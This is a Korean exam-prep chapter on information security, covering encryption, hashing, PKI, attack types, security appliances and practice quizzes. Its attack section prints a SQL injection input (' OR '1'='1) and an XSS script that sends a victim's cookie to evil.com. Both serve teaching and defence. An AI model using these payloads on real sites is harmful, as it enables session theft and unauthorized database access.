Ch5. 정보처리기사 — 보안과 암호화
정보보안의 3요소 (CIA Triad)
정보보안은 정보 자산을 다양한 위협으로부터 보호하는 것입니다. 모든 보안 정책과 기술은 다음 3가지 핵심 요소를 기반으로 합니다.
| 요소 | 영문 | 설명 | 위협 예시 |
|---|---|---|---|
| 기밀성 (Confidentiality) | C | 허가된 사용자만 정보에 접근 가능 | 도청, 스니핑, 불법 접근 |
| 무결성 (Integrity) | I | 정보가 허가 없이 변조되지 않음 보장 | 데이터 변조, 위변조 |
| 가용성 (Availability) | A | 허가된 사용자가 필요할 때 정보에 접근 가능 | DDoS 공격, 랜섬웨어 |
암기법: CIA — 기무가 (기밀성·무결성·가용성)
추가 보안 요소:
- 인증(Authentication): 사용자·시스템이 진짜인지 확인
- 부인 방지(Non-Repudiation): 행위자가 행위를 부인하지 못하게 함
- 접근 제어(Access Control): 자원에 대한 접근 권한 관리
암호화 (Encryption)
암호화는 원본 데이터(평문, Plaintext)를 제3자가 읽을 수 없는 형태(암호문, Ciphertext)로 변환하는 기술입니다.
평문 → [암호화(Encryption)] → 암호문 → [복호화(Decryption)] → 평문
대칭키 암호화 (Symmetric Key Encryption)
암호화와 복호화에 **동일한 키(비밀키)**를 사용하는 방식입니다.
송신자: 평문 + 비밀키 → 암호문 (암호화)
수신자: 암호문 + 비밀키 → 평문 (복호화)
장점: 처리 속도가 빠름, 구현이 단순 단점: 키 배분 문제 — 사전에 안전하게 비밀키를 공유해야 함. 사용자 수가 n명이면 n(n-1)/2개의 키가 필요
| 알고리즘 | 키 길이 | 블록 크기 | 특징 |
|---|---|---|---|
| DES | 56비트 | 64비트 | 구식, 현재 보안 취약 |
| 3DES (Triple DES) | 168비트 | 64비트 | DES 3회 적용, 느림 |
| AES | 128/192/256비트 | 128비트 | 현재 표준, 빠르고 안전 |
| SEED | 128비트 | 128비트 | 국내 표준 (국가정보원) |
| ARIA | 128/192/256비트 | 128비트 | 국내 표준 (국가정보원) |
| RC4 | 가변 길이 | 스트림 | 스트림 암호, Wi-Fi WEP에 사용 (취약) |
블록 암호 vs 스트림 암호:
- 블록 암호: 고정 블록 단위로 처리 (DES, AES, SEED)
- 스트림 암호: 비트/바이트 단위로 연속 처리 (RC4) — 실시간 통신에 적합
공개키 암호화 (Public Key / Asymmetric Encryption)
**공개키(Public Key)**와 **개인키(Private Key)**의 쌍을 사용하는 방식입니다.
암호화: 평문 + 수신자의 공개키 → 암호문
복호화: 암호문 + 수신자의 개인키 → 평문
장점: 키 배분 문제 해결 (공개키를 공개해도 안전) 단점: 처리 속도가 느림 (대칭키보다 수백~수천 배 느림)
실제 활용: 대용량 데이터는 대칭키로 암호화하고, 대칭키 자체를 공개키로 암호화하여 전송 (하이브리드 방식 — SSL/TLS)
| 알고리즘 | 기반 수학 문제 | 특징 |
|---|---|---|
| RSA | 큰 수의 소인수분해 어려움 | 가장 널리 사용, 키 2048비트 이상 권장 |
| ElGamal | 이산 로그 문제 | 전자 서명에 활용 |
| ECC (타원 곡선 암호) | 타원 곡선 이산 로그 | RSA보다 짧은 키로 동등한 보안, 모바일에 적합 |
| Diffie-Hellman | 이산 로그 문제 | 키 교환 전용 (암호화 X), SSL/TLS에서 사용 |
해시 함수 (Hash Function)
임의 길이의 입력을 **고정 길이의 해시값(다이제스트)**으로 변환합니다. 단방향 — 복호화 불가.
해시 함수의 특성:
- 단방향성: 해시값으로 원본 복원 불가
- 결정성: 같은 입력은 항상 같은 해시값
- 충돌 저항성: 서로 다른 입력이 같은 해시값을 갖기 어려움
- 눈사태 효과: 입력 1비트 변경 시 해시값이 완전히 달라짐
| 알고리즘 | 출력 길이 | 현재 상태 |
|---|---|---|
| MD5 | 128비트 | 취약 (충돌 발견, 무결성 검증에만 제한적 사용) |
| SHA-1 | 160비트 | 취약 (충돌 발견, 사용 중단 권고) |
| SHA-256 | 256비트 | 안전, 현재 표준 (SHA-2 계열) |
| SHA-512 | 512비트 | 안전, SHA-2 계열 |
| SHA-3 | 가변 | 최신 표준, SHA-2와 다른 구조 |
해시의 활용:
- 비밀번호 저장: 평문 저장 대신 해시값 저장 → 솔팅(Salting)으로 레인보우 테이블 공격 방어
- 무결성 검증: 파일 다운로드 시 해시값 비교
- 디지털 서명: 문서의 해시값에 서명
디지털 서명과 PKI
디지털 서명 (Digital Signature)
문서의 출처와 무결성을 보장하는 기술입니다.
서명 과정:
1. 문서의 해시값 계산
2. 송신자의 개인키로 해시값 암호화 → 서명(Signature)
3. 원문 + 서명 전송
검증 과정:
1. 수신자가 송신자의 공개키로 서명 복호화 → 해시값A
2. 수신한 원문의 해시값 계산 → 해시값B
3. 해시값A == 해시값B → 무결성·부인방지 확인
디지털 서명이 보장하는 것: 인증(Authentication), 무결성(Integrity), 부인 방지(Non-Repudiation)
PKI (Public Key Infrastructure, 공개키 기반 구조)
공개키의 신뢰성을 보장하는 시스템입니다.
주요 구성 요소:
- CA (Certificate Authority, 인증기관): 디지털 인증서 발급·관리·폐기
- RA (Registration Authority, 등록기관): CA를 대신하여 인증서 신청 접수
- 디지털 인증서: 공개키 + 소유자 정보 + CA 서명이 포함된 전자 문서
- CRL (Certificate Revocation List): 폐기된 인증서 목록
주요 공격 유형
웹 애플리케이션 공격
SQL Injection
데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하는 공격입니다.
-- 정상 쿼리
SELECT * FROM users WHERE id='' AND pw='입력값';
-- SQL Injection 공격
입력값: ' OR '1'='1
결과: SELECT * FROM users WHERE id='' OR '1'='1' AND pw='';
-- '1'='1'은 항상 참이므로 모든 사용자 정보 노출
예방: 준비된 구문(Prepared Statement), 입력값 검증·이스케이핑, 최소 권한 DB 계정 사용
XSS (Cross-Site Scripting)
악의적인 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.
<!-- 게시판에 악성 스크립트 삽입 -->
<script>document.location='http://evil.com?cookie='+document.cookie</script>
유형:
- 저장형(Stored XSS): 서버 DB에 스크립트 저장 → 다른 사용자가 페이지 로드 시 실행
- 반사형(Reflected XSS): URL 파라미터에 스크립트 삽입 → 링크 클릭 시 실행
- DOM 기반: 클라이언트 측 JavaScript가 DOM 조작 시 실행
예방: 입력값 검증, 출력 시 HTML 인코딩(이스케이핑), CSP(Content Security Policy) 설정, HttpOnly 쿠키
CSRF (Cross-Site Request Forgery)
인증된 사용자의 권한을 이용하여 의도치 않은 요청을 서버로 보내는 공격입니다.
예방: CSRF 토큰 사용, SameSite 쿠키 속성, Referer 검증
서비스 공격
DoS (Denial of Service) / DDoS (Distributed DoS)
서버에 대량의 트래픽을 보내 서비스를 마비시키는 공격입니다.
- DoS: 단일 시스템에서 공격
- DDoS: 수많은 좀비 PC(봇넷)를 이용한 분산 공격
DDoS 공격 유형:
- SYN Flooding: TCP 연결 요청(SYN)을 대량으로 보내 연결 자원 고갈
- UDP Flooding: 대역폭을 UDP 패킷으로 소진
- HTTP Flooding: 정상적인 HTTP 요청을 대량으로 전송
예방: 방화벽·IDS/IPS, CDN 활용, Rate Limiting, 블랙홀 라우팅, DDoS 방어 서비스(Cloudflare 등)
사회공학 공격
피싱 (Phishing)
이메일·문자·전화 등으로 신뢰할 수 있는 기관을 사칭하여 개인정보·인증정보를 탈취합니다.
변형:
- 스피어 피싱(Spear Phishing): 특정 개인·조직을 타겟으로 맞춤형 공격
- 스미싱(Smishing): SMS를 이용한 피싱
- 보이스 피싱(Vishing): 전화를 이용한 피싱
- 파밍(Pharming): DNS를 변조하여 가짜 사이트로 유도
사회공학 (Social Engineering)
기술적 취약점보다 사람의 심리적 취약점을 악용하는 공격입니다.
- 권위 사칭, 긴박감 조성, 신뢰 관계 이용
- 예방: 보안 교육, 정책·절차 준수, 정보 공개 최소화
기타 공격 유형
| 공격 | 설명 |
|---|---|
| Man-in-the-Middle (중간자) | 통신 사이에 끼어 내용 도청·변조 |
| 레인보우 테이블 | 해시값 역산을 위한 사전 계산 테이블 → 솔팅으로 방어 |
| 무차별 대입(Brute Force) | 모든 경우의 수를 시도 |
| 사전 공격(Dictionary) | 자주 쓰는 비밀번호 목록으로 시도 |
| 워터링 홀(Watering Hole) | 타겟이 자주 방문하는 사이트를 감염시켜 공격 |
| 랜섬웨어(Ransomware) | 파일 암호화 후 복호화 대가로 금전 요구 |
보안 장비와 솔루션
방화벽 (Firewall)
네트워크 경계에서 패킷을 필터링하여 허가되지 않은 접근을 차단합니다.
| 유형 | 동작 방식 | 특징 |
|---|---|---|
| 패킷 필터링 | IP·포트 기반 필터링 | 빠름, 상태 추적 불가 |
| 스테이트풀 인스펙션 | 연결 상태 추적 | 패킷 필터링 개선판 |
| 애플리케이션 게이트웨이(프록시) | 응용 계층에서 내용 검사 | 깊은 검사, 속도 느림 |
| 차세대 방화벽(NGFW) | 애플리케이션 식별·IPS 통합 | 종합 보안 기능 |
DMZ (Demilitarized Zone): 외부 네트워크와 내부 네트워크 사이의 완충 영역. 웹 서버·메일 서버 등 외부 접근이 필요한 서버 배치.
IDS vs IPS
| 구분 | IDS (침입 탐지 시스템) | IPS (침입 방지 시스템) |
|---|---|---|
| 동작 | 트래픽 감시·탐지 후 알림 | 탐지 즉시 차단 |
| 위치 | 네트워크 외부(미러링) | 네트워크 인라인 |
| 가용성 영향 | 없음 | 오탐지 시 정상 트래픽 차단 위험 |
탐지 방식:
- 시그니처 기반(Signature-based): 알려진 공격 패턴과 비교. 알려지지 않은 공격(Zero-day) 탐지 불가
- 이상 기반(Anomaly-based): 정상 행동 기준선 설정 후 이탈 탐지. 오탐지 가능
VPN (Virtual Private Network)
공용 네트워크(인터넷)를 통해 안전한 암호화된 터널을 형성하여 사설 네트워크처럼 통신합니다.
VPN 프로토콜:
- IPsec: 네트워크 계층(3계층)에서 암호화. 터널 모드·전송 모드
- SSL/TLS VPN: 브라우저 기반, 설치 간편
- PPTP: 오래된 방식, 보안 취약
- L2TP/IPsec: L2TP + IPsec 조합
기타 보안 솔루션
| 솔루션 | 설명 |
|---|---|
| WAF (Web Application Firewall) | 웹 애플리케이션 특화 방화벽 (SQL Injection·XSS 차단) |
| DLP (Data Loss Prevention) | 민감 데이터 외부 유출 방지 |
| SIEM | 보안 이벤트 통합 관리·분석 |
| EDR | 엔드포인트 위협 탐지·대응 |
| Zero Trust | 내부·외부 구분 없이 모든 접근을 검증 (“신뢰하지 않고 항상 검증”) |
보안 취약점 관리
CVE (Common Vulnerabilities and Exposures)
공개적으로 알려진 보안 취약점에 부여되는 고유 식별자입니다.
- 형식:
CVE-연도-번호(예: CVE-2021-44228 — Log4Shell) - 미국 NIST의 **NVD(National Vulnerability Database)**에서 관리
CVSS (Common Vulnerability Scoring System)
취약점의 심각도를 수치화하는 표준 점수 체계입니다.
| 점수 범위 | 심각도 |
|---|---|
| 0.0 | None (없음) |
| 0.1 ~ 3.9 | Low (낮음) |
| 4.0 ~ 6.9 | Medium (중간) |
| 7.0 ~ 8.9 | High (높음) |
| 9.0 ~ 10.0 | Critical (심각) |
평가 기준: 공격 벡터(네트워크/로컬), 공격 복잡성, 권한 필요 여부, 기밀성·무결성·가용성 영향도 등
보안 인증 체계
| 인증 | 설명 |
|---|---|
| ISO 27001 | 정보보호 관리체계(ISMS) 국제 표준 |
| ISMS-P | 한국 정보보호 및 개인정보보호 관리체계 인증 |
| CC (Common Criteria, ISO 15408) | IT 보안 제품 평가 기준 |
| EAL | CC 평가 보증 수준 (EAL1~EAL7) |
접근 제어 모델
| 모델 | 설명 | 특징 |
|---|---|---|
| MAC (강제적 접근 제어) | 관리자가 정한 보안 레이블 기반 | 군사·정부 시스템 |
| DAC (임의적 접근 제어) | 자원 소유자가 접근 권한 결정 | Unix 파일 권한 |
| RBAC (역할 기반 접근 제어) | 사용자의 역할에 따라 권한 부여 | 기업 환경에 일반적 |
| ABAC (속성 기반 접근 제어) | 사용자·자원·환경 속성 조합 | 세밀한 제어, 복잡 |
핵심 개념 카드
정보보안 3요소 ★★★★★ : 기밀성(Confidentiality)·무결성(Integrity)·가용성(Availability) — CIA Triad. 암기 포인트: CIA 기무가 — 기밀·무결·가용
대칭키 vs 공개키 ★★★★★ : 대칭키=같은키·빠름·키배분문제(AES/DES). 공개키=공개+개인키·느림·키배분해결(RSA). 암기 포인트: 대칭=빠름, 공개키=안전한키교환. SSL/TLS는 하이브리드
해시 함수 ★★★★★ : SHA-256(현재표준·256비트), MD5(취약·128비트), 단방향·복호화불가. 암기 포인트: 비밀번호=해시+솔팅으로 저장
주요 공격 ★★★★★ : SQL Injection(DB쿼리삽입·Prepared Statement), XSS(스크립트삽입·인코딩), DDoS(분산트래픽·봇넷). 암기 포인트: SQL=DB공격, XSS=브라우저공격, DDoS=가용성공격
방화벽 vs IDS vs IPS ★★★★☆ : 방화벽=패킷차단, IDS=탐지+알림, IPS=탐지+자동차단. 암기 포인트: IDS는 수동(알림만), IPS는 능동(자동차단)
실전 퀴즈
Q1. 다음 암호화 알고리즘 중 대칭키 암호화 방식이 아닌 것은? ① AES ② RSA ③ DES ④ SEED
정답: ② RSA는 공개키(비대칭키) 암호화 알고리즘입니다. AES·DES·SEED는 모두 대칭키 알고리즘으로, 암호화와 복호화에 동일한 키를 사용합니다. RSA는 공개키와 개인키 쌍을 사용하며 큰 수의 소인수분해 어려움을 기반으로 합니다.
Q2. 해시 함수의 특성 중 입력값이 조금만 변경되어도 출력 해시값이 완전히 달라지는 성질을 무엇이라 하는가?
정답: 눈사태 효과(Avalanche Effect). 해시 함수의 핵심 특성 중 하나로, 입력 1비트만 바꿔도 출력값이 약 50%나 달라집니다. 이 외에도 단방향성(역계산 불가), 결정성(같은 입력=같은 출력), 충돌 저항성(두 입력이 같은 해시값을 갖기 어려움)이 있습니다.
Q3. 다음 중 XSS 공격에 대한 대응 방법으로 가장 적절하지 않은 것은? ① 입력값의 HTML 특수문자를 이스케이핑한다. ② Prepared Statement를 사용한다. ③ CSP(Content Security Policy) 헤더를 설정한다. ④ HttpOnly 쿠키 속성을 설정한다.
정답: ② Prepared Statement(준비된 구문)는 SQL Injection 방어 기법입니다. XSS 방어는 HTML 이스케이핑, CSP 헤더, HttpOnly 쿠키, 입력값 검증 등이 사용됩니다. 각 공격 유형별로 적합한 대응 방법을 구분하는 것이 중요합니다.
Q4. IDS와 IPS의 가장 큰 차이점은 무엇인가?
정답: IDS(침입 탐지 시스템)는 침입을 탐지하고 관리자에게 알림만 제공하는 수동적 장비입니다. 반면 IPS(침입 방지 시스템)는 탐지 즉시 트래픽을 자동으로 차단하는 능동적 장비입니다. IPS는 네트워크 인라인에 설치되어 즉각 대응이 가능하지만, 오탐지 시 정상 트래픽도 차단될 위험이 있습니다.
Q5. 디지털 서명이 보장하는 3가지 보안 요소를 쓰시오.
정답: ① 인증(Authentication) — 서명자가 실제 그 사람임을 확인. ② 무결성(Integrity) — 서명 이후 내용이 변조되지 않았음을 보장. ③ 부인 방지(Non-Repudiation) — 서명자가 나중에 서명 사실을 부인할 수 없음. 디지털 서명은 송신자의 개인키로 문서의 해시값을 암호화하고, 수신자가 송신자의 공개키로 검증합니다.
OIYO 편집부
편집부OIYO 편집부는 경제·법률·생활·자기이해 주제를 1차 자료와 공개 통계로 검증해 정리합니다. 모든 글은 출처 표기와 정기 점검을 거쳐 실용성과 정확성을 함께 유지합니다.